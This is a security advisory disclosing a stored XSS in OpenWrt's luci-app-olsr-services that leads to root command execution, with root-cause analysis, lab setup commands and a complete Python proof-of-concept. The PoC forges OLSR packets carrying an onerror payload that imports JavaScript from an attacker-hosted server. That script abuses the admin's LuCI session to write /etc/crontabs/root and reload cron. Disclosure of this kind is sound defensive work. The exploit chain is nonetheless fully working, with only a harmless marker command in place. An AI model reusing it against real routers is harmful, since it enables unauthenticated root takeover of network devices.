All advisories

Stored XSS in luci-app-olsr-services leads to root command execution

openwrt/luci / GHSA-72c9-jj22-xphx

Affected packages

luci-app-olsr-services other
Affected versionsopenwrt-25.12, openwrt-24.10, openwrt-23.05
Patched versionsNot specified

Description

Stored XSS in luci-app-olsr-services leads to root command execution

Summary

An unauthenticated OLSR mesh participant can place HTML in a service announcement. luci-app-olsr-services renders the service description with innerHTML. When an administrator opens Services -> OLSR, the injected JavaScript runs in the authenticated LuCI origin.

The script can use the administrator's LuCI session to write /etc/crontabs/root and reload cron, resulting in arbitrary command execution as root.

No attacker account is required. One administrator page view is required.

Preconditions

  • The target has luci-app-olsr-services and olsrd-mod-nameservice installed.
  • The attacker can reach the target's OLSR interface.
  • An authenticated administrator opens the OLSR Services page.

Root cause

The OLSR view renders peer-controlled data without escaping it:

E('a', { 'href': service.url }, service.description),
service.protocol,

File: applications/luci-app-olsr-services/htdocs/luci-static/resources/view/olsr-services/services.js:24

LuCI's E() helper treats a bare string as HTML:

node.innerHTML = `${children}`;

An array is safe because its strings are inserted with createTextNode(). Therefore this is vulnerable:

E('a', {}, service.description)

while this is safe:

E('a', {}, [ service.description ])

The olsrd nameservice receive path accepts service announcements containing printable HTML. The service description may therefore contain an element such as <img src=x onerror=...>.

Reproduction

Only run this on an isolated test router. The PoC creates a local UID marker; it does not open a shell or make a reverse connection.

I have attached a video showing the complete reproduction. I did not attach the 256 MB writable QEMU disk because of the attachment size, but the commands used to construct it are included below for transparency; rebuilding the image is optional. I can provide the resulting image separately if required.

1. Start the prepared QEMU target

sudo ip addr replace 192.168.1.2/24 dev tap-owrt && sudo ip link set tap-owrt up && qemu-system-mipsel -M malta -m 256 -kernel openwrt-malta-le-generic-kernel.bin -drive file=openwrt-mips.img,format=raw,if=ide -append "root=/dev/sda rootwait console=ttyS0" -device pcnet,netdev=lan,mac=52:54:00:12:34:58 -netdev tap,id=lan,ifname=tap-owrt,script=no,downscript=no -device pcnet,netdev=wan,mac=52:54:00:12:34:59 -netdev user,id=wan -nographic

2. Run the attached PoC

python3 olsr_luci_rce_poc.py

The PoC establishes an OLSR neighbor and sends the service announcement to UDP port 698. It also serves the harmless JavaScript payload from 192.168.1.2:8000. It does not use the QEMU console or directly modify the target service file.

3. Administrator opens the page

Open http://192.168.1.1/cgi-bin/luci/admin/services/olsr, log in with root / openwrt, and leave the page open for at least 30 seconds.

4. Verify root execution

ssh root@192.168.1.1 'cat /tmp/OLSR_LUCI_RCE_PROOF'

Expected output:

uid=0(root) gid=0(root) groups=0(root)
Commands used to construct the QEMU image

The two base artifacts are downloaded directly from the official OpenWrt malta/le snapshot directory: openwrt-malta-le-generic-kernel.bin is the kernel passed to QEMU with -kernel, and openwrt-malta-le-generic-squashfs-rootfs.img is the base root filesystem. The snapshot directory is rolling, so I saved the downloaded files used for the video. The root filesystem is copied to openwrt-mips.img and expanded to 256 MB; OpenWrt uses the additional space as a writable persistent overlay after the first boot.

On the host:

sudo apt-get install qemu-system-mips qemu-utils curl iproute2
curl -O https://downloads.openwrt.org/snapshots/targets/malta/le/openwrt-malta-le-generic-kernel.bin
curl -O https://downloads.openwrt.org/snapshots/targets/malta/le/openwrt-malta-le-generic-squashfs-rootfs.img
curl -O https://downloads.openwrt.org/snapshots/targets/malta/le/sha256sums
sha256sum -c sha256sums --ignore-missing
cp openwrt-malta-le-generic-squashfs-rootfs.img openwrt-mips.img
qemu-img resize -f raw openwrt-mips.img 256M
sudo ip tuntap add dev tap-owrt mode tap user "$(id -un)"
sudo ip addr add 192.168.1.2/24 dev tap-owrt
sudo ip link set tap-owrt up

These commands produce the three files used by the QEMU command: the downloaded kernel, the downloaded squashfs base image, and the writable openwrt-mips.img copy.

Boot the image once with the QEMU command from Step 1, then run the following commands in its serial console:

uci set network.wan=interface
uci set network.wan.device='eth1'
uci set network.wan.proto='dhcp'
uci commit network
/etc/init.d/network restart
apk update
apk add luci-ssl luci-app-olsr-services olsrd-mod-nameservice
uci set olsrd.@Interface[0].interface='lan'
uci set olsrd.@LoadPlugin[3].library='olsrd_nameservice'
uci set olsrd.@LoadPlugin[3].services_file='/var/run/services_olsr'
uci set uhttpd.main.redirect_https='0'
uci commit olsrd
uci commit uhttpd
/etc/init.d/olsrd enable
/etc/init.d/olsrd restart
/etc/init.d/rpcd restart
/etc/init.d/uhttpd restart
passwd root

For the demonstrated image, I set the temporary lab password to openwrt.

PoC file: olsr_luci_rce_poc.py
#!/usr/bin/env python3
"""Network-only OLSR nameservice -> LuCI stored-XSS -> root marker PoC."""

import http.server
import ipaddress
import socket
import struct
import threading
import time

ATTACKER_IP = "192.168.1.2"
TARGET_IP = "192.168.1.1"
BROADCAST_IP = "192.168.1.255"
OLSR_PORT = 698
HTTP_PORT = 8000
MARKER = "/tmp/OLSR_LUCI_RCE_PROOF"
TARGET_URL = "http://192.168.1.1/cgi-bin/luci/admin/services/olsr"

JAVASCRIPT = r'''var s=L.env.sessionid,u='/cgi-bin/luci/admin/ubus/',f=function(o){return fetch(u,{method:'POST',body:JSON.stringify(o)})};f({jsonrpc:'2.0',id:1,method:'call',params:[s,'file','write',{path:'/etc/crontabs/root',data:'* * * * * /bin/sh -c "id > /tmp/OLSR_LUCI_RCE_PROOF 2>&1"\n',mode:384}]}).then(function(){return f({jsonrpc:'2.0',id:2,method:'call',params:[s,'file','exec',{command:'/etc/init.d/cron',params:['reload']}]})})'''

class PayloadHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path != "/x.js":
            self.send_error(404)
            return
        body = JAVASCRIPT.encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/javascript")
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
        print("[+] Administrator loaded the injected JavaScript", flush=True)

    def log_message(self, _format, *_args):
        pass

def olsr_packet(sequence, *messages):
    body = b"".join(messages)
    return struct.pack("!HH", len(body) + 4, sequence & 0xffff) + body

def olsr_message(message_type, vtime, originator, ttl, sequence, body):
    size = 12 + len(body)
    return struct.pack("!BBH4sBBH", message_type, vtime, size, socket.inet_aton(originator), ttl, 0, sequence & 0xffff) + body

def hello_message(sequence):
    hello = struct.pack("!HBB", 0, 4, 3)
    link = struct.pack("!BBH4sBBBB", 6, 0, 12, socket.inet_aton(TARGET_IP), 255, 255, 0, 0)
    return olsr_message(201, 0x48, ATTACKER_IP, 1, sequence, hello + link)

def nameservice_message(sequence, service):
    encoded = service.encode()
    if len(encoded) > 127:
        raise ValueError("nameservice entry exceeds the protocol's 127-byte limit")
    padded = encoded + b"\0" * (-len(encoded) % 4)
    entry = struct.pack("!HH", 2, len(encoded)) + b"\0" * 16 + padded
    body = struct.pack("!HH", 1, 1) + entry
    return olsr_message(130, 0xce, ATTACKER_IP, 255, sequence, body)

def check_lab_network():
    ipaddress.ip_address(ATTACKER_IP)
    with socket.socket() as probe:
        probe.settimeout(3)
        try:
            probe.connect((TARGET_IP, 80))
        except OSError as exc:
            raise SystemExit(f"Target {TARGET_IP}:80 is unreachable; start QEMU and check tap-owrt ({exc})")

def main():
    check_lab_network()
    server = http.server.ThreadingHTTPServer((ATTACKER_IP, HTTP_PORT), PayloadHandler)
    threading.Thread(target=server.serve_forever, daemon=True).start()
    xss = f"<img src=x onerror=import(`http://{ATTACKER_IP}:{HTTP_PORT}/x.js`)>"
    service = f"http://{ATTACKER_IP}:{HTTP_PORT}|tcp|{xss}"
    print(f"[+] Payload server: http://{ATTACKER_IP}:{HTTP_PORT}/x.js")
    print(f"[+] Sending {len(service.encode())}-byte nameservice entry to UDP/{OLSR_PORT}")
    print(f"[+] Open {TARGET_URL} and log in as root / openwrt")
    print(f"[+] After one minute verify: ssh root@{TARGET_IP} 'cat {MARKER}'")
    print("[+] Keep this process running; press Ctrl-C after verification", flush=True)
    with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sender:
        sender.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
        sender.bind((ATTACKER_IP, 0))
        sequence = int(time.time()) & 0xffff
        try:
            while True:
                sender.sendto(olsr_packet(sequence, hello_message(sequence)), (BROADCAST_IP, OLSR_PORT))
                sender.sendto(olsr_packet(sequence + 1, nameservice_message(sequence + 1, service)), (BROADCAST_IP, OLSR_PORT))
                sequence = (sequence + 2) & 0xffff
                time.sleep(1)
        except KeyboardInterrupt:
            print("\n[+] Stopped")
        finally:
            server.shutdown()

if __name__ == "__main__":
    main()

https://github.com/user-attachments/assets/778d371f-567f-46bb-9dda-4ff019d11cc8